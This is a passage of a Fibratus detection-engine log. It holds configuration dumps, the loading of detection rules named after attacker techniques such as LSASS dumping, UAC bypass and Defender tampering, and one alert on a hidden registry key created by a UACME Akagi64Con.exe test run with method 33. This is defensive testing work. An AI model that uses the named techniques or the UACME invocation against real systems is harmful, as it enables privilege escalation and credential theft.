+ symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false skip-registry=>false skip-files=>false fastscan=>true enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s excluded-files=>[] excluded-procs=>[] skip-mmaps=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-05T14:19:48+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T14:19:51+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T14:20:12+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T14:20:12+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T14:20:13+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T14:29:37+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:155 +time=2025-12-05T14:29:37+01:00 level=info msg=bootstrapping with pid 17280. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T14:29:38+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ quiet-mode=>false enabled=>false sound=>true] mail=>[ enabled=>false use-template=>true port=>25 to=>[] content-type=>text/html] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-envs=>true serialize-handles=>false serialize-threads=>false] + eventsource .................... [ stack-enrichment=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-dns=>false enable-handle=>false enable-registry=>true enable-image=>true max-buffers=>36 enable-vamap=>true enable-net=>true buffer-size=>512 enable-mem=>false enable-audit-api=>true enable-thread=>true flush-interval=>1s enable-threadpool=>false enable-fileio=>true min-buffers=>16] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 formatter=>text level=>info log-stdout=>true max-size=>100 max-age=>0] + output ......................... [ http=>[ serializer=>json enabled=>false tls-insecure-skip-verify=>false method=>POST enable-gzip=>false timeout=>5s endpoints=>[]] amqp=>[ passive=>false delivery-mode=>transient url=>amqp://localhost:5672 vhost=>/ tls-insecure-skip-verify=>false exchange=>fibratus routing-key=>fibratus exchange-type=>topic durable=>false timeout=>5s enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] elasticsearch=>[ trace-log=>false gzip-compression=>false enabled=>false healthcheck=>true healthcheck-interval=>10s sniff=>false bulk-workers=>1 timeout=>5s index-name=>fibratus template-name=>fibratus servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s flush-period=>1s] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ enabled=>false read-symbols=>false read-resources=>false read-sections=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ enabled=>false skip-allocs=>false skip-registry=>false fastscan=>true scan-timeout=>10s skip-files=>false excluded-procs=>[] skip-mmaps=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-files=>[]] source=bootstrap/bootstrap.go:187 +time=2025-12-05T14:29:38+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T14:29:40+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T14:33:49+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T14:33:49+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T14:33:50+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T14:33:58+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-05T14:33:58+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-05T14:33:58+01:00 level=info msg=bootstrapping with pid 18016. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T14:33:58+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ enabled=>false quiet-mode=>false sound=>true] mail=>[ port=>25 to=>[] content-type=>text/html enabled=>false use-template=>true] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-images=>false serialize-threads=>false serialize-handles=>false serialize-pe=>false] + eventsource .................... [ enable-mem=>false max-buffers=>36 buffer-size=>512 enable-audit-api=>true enable-image=>true min-buffers=>16 enable-dns=>false enable-handle=>false enable-threadpool=>false enable-net=>true stack-enrichment=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-thread=>true flush-interval=>1s enable-fileio=>true enable-registry=>true enable-vamap=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 level=>info log-stdout=>true max-age=>0 max-backups=>15 formatter=>text] + output ......................... [ eventlog=>[ enabled=>false level=>info] http=>[ enable-gzip=>false enabled=>false method=>POST serializer=>json tls-insecure-skip-verify=>false endpoints=>[] timeout=>5s] amqp=>[ delivery-mode=>transient tls-insecure-skip-verify=>false exchange=>fibratus routing-key=>fibratus exchange-type=>topic timeout=>5s vhost=>/ url=>amqp://localhost:5672 durable=>false passive=>false enabled=>false] elasticsearch=>[ timeout=>5s gzip-compression=>false healthcheck=>true template-name=>fibratus healthcheck-interval=>10s bulk-workers=>1 enabled=>false healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] flush-period=>1s index-name=>fibratus trace-log=>false sniff=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true]] + pe ............................. [ read-resources=>false read-sections=>false enabled=>false excluded-images=>[svchost.exe] read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-files=>[] skip-registry=>false skip-allocs=>false fastscan=>true scan-timeout=>10s enabled=>false skip-files=>false skip-mmaps=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-05T14:33:58+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T14:34:01+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T14:34:10+01:00 level=info msg=sending alert: [Hidden registry key creation]. Text: Hidden registry key HKEY_USERS\S-1-5-21-2271034452-2606270099-984871569-1001_CLASSES\{64180B67-098E-4F4A-A5EC-A79ED183685C}\ created by process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 5510411 + Pid: 13452 + Tid: 18656 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: + Host: archrabbit + Timestamp: 2025-12-05 14:34:04.0871275 +0100 CET + Params: key_handle➜ ffffc38f18f6e0e0, key_path➜ HKEY_USERS\S-1-5-21-2271034452-2606270099-984871569-1001_CLASSES\{64180B67-098E-4F4A-A5EC-A79ED183685C}\, status➜ Success + Metadata: rule.name: Hidden registry key creation, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1112, technique.name: Modify Registry, technique.ref: https://attack.mitre.org/techniques/T1112/, tactic.id: TA0005 + + Pid: 13452 + Ppid: 17192 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 33 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 33] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files 